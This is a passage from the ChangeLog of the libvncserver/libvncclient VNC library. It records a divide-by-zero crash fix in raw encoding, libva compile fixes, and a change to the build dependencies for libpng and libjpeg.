* libvncclient/rfbproto.c: Avoid divide-by-zero in raw encoding (OSX
RealVNC) OS X RealVNC server crashes out Remmina because the server can
provoke bytesPerLine to be zero. Assume this is coding for zero
lines. The condition could be checked before the calculation of
bytesPerLine. I don’t understand the preconditions of this code
to say one way or the other.

2014-12-29 Floris Bos <bos@je-eigen-domein.nl>
* configure.ac, libvncclient/h264.c: Fix libva related compile
errors - Make h264.c compile with recent libva version by including
va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when
--with-libva was specified, while actual behavior is to build it
by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>

* libvncserver/Makefile.am: Fix build error when libpng is
available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses
libjpeg features. We could probably separate that, but for now the
libjpeg features. We could probably seperate that, but for now the
dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around.
